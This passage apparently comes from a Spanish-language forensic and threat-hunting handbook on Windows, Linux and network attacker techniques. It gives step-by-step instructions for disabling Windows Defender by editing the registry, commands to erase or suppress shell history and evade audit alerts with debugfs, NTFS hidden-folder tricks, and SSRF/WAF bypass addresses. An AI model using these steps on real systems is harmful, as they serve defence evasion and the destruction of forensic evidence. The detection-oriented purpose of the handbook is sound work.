2930 | HKCU\Software\PremiumSoft\NavicatMARIADB\Servers
2931 | HKCU\Software\PremiumSoft\NavicatOra\Servers
2932 | HKCU\Software\TigerVNC\WinVNC4
2933 | ```
2934 |
2935 | ### 📜 WDigest Authentication (lsass.exe): Habilitado / Deshabilitado
2936 |
2937 | Si un malware habilita de forma forzada la autenticación [WDigest](https://datatracker.ietf.org/doc/html/rfc2617), las contraseñas se almacenarán en texto claro en la memoria del proceso lsass.exe (LSASS - Local Security Authority Subsystem Service).
2938 |
2939 | ```
2940 | HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
2941 |
2942 | Deshabilitado: UseLogonCredential = 0 (Seguro)
2943 | Habilitado: UseLogonCredential = 1 (Inseguro)
2944 | ```
2945 |
2946 | > [!NOTE]
2947 | > A partir de Windows 10 (versión 1507), esta opción está deshabilitada de forma predeterminada. En versiones anteriores de Windows, como Windows XP, 7, 8 y 8.1, está habilitada por defecto, lo que permite el almacenamiento de contraseñas en texto claro en memoria.
2948 |
2949 | ### 📜 Detectar si un sistema es una máquina física o virtual y su tipo de hipervisor o CSP (Azure, AWS, GCP)
2950 |
2951 | PowerShell
2952 | ```ps
2953 | Get-MpComputerStatus | Select-Object "IsVirtualMachine" | fl
2954 | ```
2955 | ```ps
2956 | Get-WmiObject -Class Win32_ComputerSystem | Select-Object -Property Model, Manufacturer
2957 | Get-WmiObject -Class Win32_BIOS | Select-Object -Property SMBIOSBIOSVersion
2958 | ```
2959 |
2960 | CMD
2961 | ```cmd
2962 | WMIC BIOS > wmic_bios.txt
2963 |
2964 | ...
2965 | BIOSVersion SMBIOSBIOSVersion
2966 | {"VBOX -1"} VirtualBox
2967 | ...
2968 | ```
2969 |
2970 | GUI
2971 | ```
2972 | msinfo32 /report > Producto de placa base
2973 | ```
2974 |
2975 | **Detectar CSP (Cloud Service Provider)**: Amazon EC2, Google Cloud, Alibaba Cloud, VMware, Inc., Microsoft Hyper-V, etc.
2976 | ```ps
2977 | ("HKLM:\HARDWARE\DESCRIPTION\System", "HKLM:\HARDWARE\DESCRIPTION\System\BIOS") | ForEach-Object { Get-ItemProperty -Path $_ } | Select-Object -Property SystemBiosVersion, SystemManufacturer, SystemProductName
2978 | ```
2979 |
2980 | ### 📜 Técnicas de ofuscación en la ejecución de comandos en Windows
2981 |
2982 | - https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation
2983 |
2984 | ### 📜 Detectar acciones de AutoRun al abrir una Command Prompt (cmd)
2985 |
2986 | Un atacante creó un valor *"AutoRun"* en la siguiente clave de registro, aquí pudo agregar un comando malicioso como sus datos de valor. Ahora, cada vez que se inicie una consola cmd este comando se ejecutará automáticamente.
2987 | ```
2988 | HKLM\SOFTWARE\Microsoft\Command Processor
2989 | ```
2990 |
2991 | ### 📜 Extensiones ejecutables alternativas a .exe
2992 |
2993 | Un atancante puede renombrar la extensión de un fichero malicioso a extensiones como:
2994 |
2995 | - **.pif**, **.scr** o **.com**
2996 |
2997 | Todas se ejecutarán de la misma forma que .exe.
2998 |
2999 | ### 📜 Detectar malware que se está ejecutando desde una carpeta que no permite su acceso por error de ubicación (flujo NTFS en directorios $INDEX_ALLOCATION)
3000 |
3001 | Un posible actor malicioso podría crear una carpeta visible a través de línea de comandos ejecutando un dir y/o también verla en un explorador de Windows.
3002 |
3003 | En ambas situaciones no es posible acceder a este directorio debibo a que el nombre no a sido creado como lo vemos en pantalla o en el output de consola, sino que es posible que haya sido creado con un punto al final del nombre, estableciendo un tipo de flujo *$INDEX_ALLOCATION* y un nombre de flujo *\$I30* o vacío, ambos son equivalentes.
3004 |
3005 | ```
3006 | md .::$index_allocation
3007 | md .:$I30:$index_allocation
3008 | ```
3009 |
3010 | De esta forma aparecerá el nombre del cirectorio seguido de un punto, pero cuando se intente acceder a el ya sea de forma gráfica con doble clic o vía consola con "cd" se mostrará un mensaje de error indicando que la "ubicación no está disponible o no es correcta para ese equipo". Una manera de solucionar esto sería acceder vía "cd" en consola e indicando: "*nombre carpeta.+flujo vacío+tipo de flujo*". (Esto no está soportado en Powershell)
3011 |
3012 | ```
3013 | cd .::$index_allocation
3014 | cd .:$I30:$index_allocation
3015 | ```
3016 |
3017 | - Flujos NTFS: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3
3018 |
3019 | Ejemplo
3020 | ```
3021 | C:\malware>md test1
3022 | C:\malware>tree
3023 | Listado de rutas de carpetas
3024 | El número de serie del volumen es FFFFFF65 AC06:D3EE
3025 | C:.
3026 | ├───test1
3027 | C:\malware>cd test1
3028 | C:\malware\test1>cd ..
3029 | C:\malware>md test2.::$index_allocation
3030 | C:\malware>tree
3031 | Listado de rutas de carpetas
3032 | El número de serie del volumen es FFFFFF65 AC06:D3EE
3033 | C:.
3034 | ├───test1
3035 | └───test2.
3036 | C:\malware>cd test2.
3037 | El sistema no puede encontrar la ruta especificada.
3038 | C:\malware>cd test2.::$index_allocation
3039 | C:\malware\test2.::$index_allocation>cd ..
3040 | C:\malware>
3041 | ```
3042 |
3043 | ### 📜 Deshabilitar Windows Defender para eludir la detección de AMSI en la ejecución de binarios maliciosos (renombrar MsMpEng.exe a través del registro ControlSet00X)
3044 | Una forma de poder eludir el sistema de protección por defecto de Windows es renombrar el fichero del proceso de ejecución del servicio de Windows Defender. De forma que al iniciar el sistema este no se pueda ejecutar al no encontrar correctamente el nombre de este fichero que levanta el proceso de servicio de Windows Defender. Esto permite a actores maliciosos poder ejecutar binarios maliciosos como por ejemplo Mimikatz u otros.
3045 |
3046 | **MsMpEng.exe** es el proceso principal de la aplicación antimalware Windows Defender. Windows Defender viene preinstalado en Windows 11 y Windows 10, ubicado en "*C:\Program Files\Windows Defender\MsMpEng.exe*"
3047 |
3048 | Este proceso no se puede modificar renombrándolo ya que está constantantemente en uso, aunque se esté en contexto de usuario privilegiado como administrador. Pero lo que si es posible es renombrar la llamada de este fichero en el inicio del sistema, editando previamente las claves del registro correspondientes de "ControlSet00X" de forma offline: exportando, modificando la extensión del valor modificado de MsMpEng, creando una nueva clave ControlSet donde se importará este cambio, cambiar los valores por defecto del sistema a esta nueva clave para que inicie por defecto el sistema asignando este nuevo ControlSet y finalmente reiniciar el equipo.
3049 |
3050 | 1. Regedit > export hive: `HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001` > guardar en nuevo fichero reg1.dat.
3051 | 2. Editar desde [HxD](https://mh-nexus.de/en/hxd):
3052 | - Abrir reg1.dat > buscar "msmpeng.exe" > establecer "text encoding: Unicode UTF-16".
3053 | 3. Renombrar extensión: "msmpeng.exe" en "msmpeng.xxx" > guardar reg1.dat.
3054 | 4. Regedit > crear nueva key vacía > `HKEY_LOCAL_MACHINE\SYSTEM\ControlSet007` > import reg1.dat.
3055 | 5. Por orden ControlSet001 es la clave que el sistema carga por defecto al iniciarse. Cambiar el orden de esta prioridad en la clave "HKLM\SYSTEM\Select" correspondiente del ControlSet creado anteriormente y correspondiente a ControlSet007:
3056 | - Cambiar `HKEY_LOCAL_MACHINE\SYSTEM\Select` > "Current" > Value: 7
3057 | - Cambiar `HKEY_LOCAL_MACHINE\SYSTEM\Select` > "Default" > Value: 7
3058 | - Cambiar `HKEY_LOCAL_MACHINE\SYSTEM\Select` > "LastKnowGood" > Value: 7
3059 | 6. Reiniciar equipo.
3060 |
3061 | ## 📁 Linux
3062 |
3063 | ### 📜 *debugfs* para eludir alertas al ejecutar comandos o acceder a ficheros con auditoria
3064 | Si un actor malicioso accede a un archivo crítico, este puede estar auditado y los investigadores de SOC recibirán una alerta. Pero, si se usan el comando "*debugfs*" para acceder al archivo, es posible omitir esta alerta.
3065 | - https://gtfobins.github.io/gtfobins/debugfs
3066 | ```bash
3067 | df -h
3068 | sudo debugfs /dev/sda1
3069 | debugfs: ls
3070 | debugfs: cat /etc/passwd
3071 | ... modo interactivo ...
3072 | ```
3073 |
3074 | - Referencia: https://gtfobins.github.io
3075 |
3076 | ### 📜 Detectar la ejecución de comandos de forma oculta en history
3077 |
3078 | Las líneas de historial con el sufijo * (asterisco) significa que ha sido modificado. Por ejemplo, usando la tecla hacia arriba (↑), se edita y luego se vuelve a presionar hacia arriba para cambiar a otro comando histórico sin presionar Enter. Cuando se vuelva a ejecutar history se verá que un comando del histórico a sido modificado pero no se sabrá cual fue el comando inicial ejecutado.
3079 |
3080 | ```bash
3081 | $ sudo bash malware.sh
3082 | $ history
3083 | 1 clear
3084 | 2 sudo bash malware.sh
3085 | 3 history
3086 | ```
3087 |
3088 | Presionar tecla hacia arriba (↑), modificar la cadena de texto, sin pulsar Enter volver cambiar a otro comando pasado pulsando nuevamente la tecla hacia arriba (↑), eliminar y volver ejecutar history para comprobar que el comando inicial no a sido almacenado sino sustituido sin ejecución.
3089 | ```bash
3090 | $ sudo bash software.sh
3091 | $ history
3092 | 1 clear
3093 | 2* bash software.**sh**
3094 | 3 history
3095 | ```
3096 |
3097 | ### 📜 Deshabilitar el uso del historial de la Shell
3098 |
3099 | Un actor malicioso puede ejecutar estos comandos para no guardar o registrar en el archivo .bash_history el historial de acciones en la shell como técnica anti forense y evitar ser detectados.
3100 | ```bash
3101 | export HISTFILE=/dev/null
3102 | export HISTFILESIZE=0
3103 | ```
3104 |
3105 | ### 📜 Eliminar el historial de comandos de la Shell (.bash_history & .zsh_history)
3106 |
3107 | Limpiar todo el historial del usuario actual.
3108 | ```bash
3109 | history -cw
3110 | ```
3111 |
3112 | Limpiar el historial del usuario actual y salir sin dejar rastro.
3113 | ```bash
3114 | history -cw && exit
3115 | ```
3116 |
3117 | Limpiar manualmente el historial, eliminando manualmente su contenido.
3118 | ```bash
3119 | nano /home/user/.bash_history
3120 | nano /home/user/.zsh_history
3121 | ```
3122 |
3123 | Limpiar manualmente el historial, vaciando su contenido.
3124 | ```bash
3125 | cat /home/user/.bash_history 2> /dev/null > /home/user/.bash_history
3126 | cat /home/user/.zsh_history 2> /dev/null > /home/user/.zsh_history
3127 | ```
3128 |
3129 | ### 📜 Auditoría en el uso privilegiado de los siguientes comandos en Linux
3130 |
3131 | Los siguientes comandos privilegiados deberían auditarse:
3132 | | | | | | | |
3133 | |:-:|:-:|:-:|:-:|:-:|:-:|
3134 | | agetty | cvsbug | fdisk | ipcs | mkswap | quotacheck |
3135 | | arp | debugfs | fsck | lpc |mountd | quotaoff |
3136 | | badblocks | dmesg | ftpd | lpd | nfsd | quotaon |
3137 | | Cfdisk | dumpe2fs | inetd | makedev | nslookup | renice |
3138 | | Chroot | e2fsck | init | mke2fs | overchan | repquota |
3139 | | Crond | edquota | nndstart | mkfs | plipconfig | rpcinfo |
3140 | | ctrlaltdel | fdformat | ipcrm | mklost+found | portmap |
3141 |
3142 | Los siguientes comandos no se instalan por defecto, no obstante en caso de instalarse por requerimientos del sistema deberían también ser auditados:
3143 | | | | | | | |
3144 | |:-:|:-:|:-:|:-:|:-:|:-:|
3145 | | archive | expire | klogd | newsdaily | pppd | rpcrwalld |
3146 | | buffchan | expireover | named-xfer | newslog | pppstats | rquotad |
3147 | | chat | fastrm | named | newsrequeue | prunehistory | rpcrquotad |
3148 | | comsat | filechan | namedreload | nnrpd | rarp | rshd |
3149 |
3150 | - Referencia: https://gtfobins.github.io
3151 |
3152 | ## 📁 Redes
3153 |
3154 | ### 📜 WAF Bypass (SSRF): usar acortamiento IP local
3155 |
3156 | | Bloqueo | Bypass |
3157 | |--------------------|------------------|
3158 | | http://10.0.0.1 | http://1.1 |
3159 | | http://127.0.0.1 | http://127.1 |
3160 | | http://192.168.0.5 | http://192.168.5 |
3161 |
3162 | ### 📜 Dirección IPv6 asignada a IPv4 utilizada para ofuscación
3163 |
3164 | Un dirección IPv6 se puede asignar a una dirección IPv4. Por lo tanto, si un actor malicioso intenta reconocer un servidor para conectarse a una dirección IPv4 y es bloqueado por la solución de seguridad. Probar esta técnica para ofuscar la comunicación y evitar posibles detecciones.
3165 |
3166 | ```
3167 | ping ::ffff:8.8.8.8
3168 | Haciendo ping a 8.8.8.8 con 32 bytes de datos:
3169 | Respuesta desde 8.8.8.8: bytes=32 tiempo=13ms TTL=117
3170 | ```
3171 |
3172 | Incluso la parte de IPv4 también se puede convertir a hexadecimal.
3173 | ```
3174 | ping ::ffff:0808:0808
3175 | Haciendo ping a 8.8.8.8 con 32 bytes de datos:
3176 | Respuesta desde 8.8.8.8: bytes=32 tiempo=13ms TTL=117
3177 | ```
3178 |
3179 | - Referencia: https://isc.sans.edu/diary/30466
3180 |
3181 | ## 📁 Varios
3182 |
3183 | ### 📜 Forensia (Anti-Forensic)
3184 |
3185 | Herramienta antiforense para Red Teamers, utilizada para borrar algunas huellas en la fase posterior a la explotación.
3186 |
3187 | - https://github.com/PaulNorman01/Forensia
--------------------------------------------------------------------------------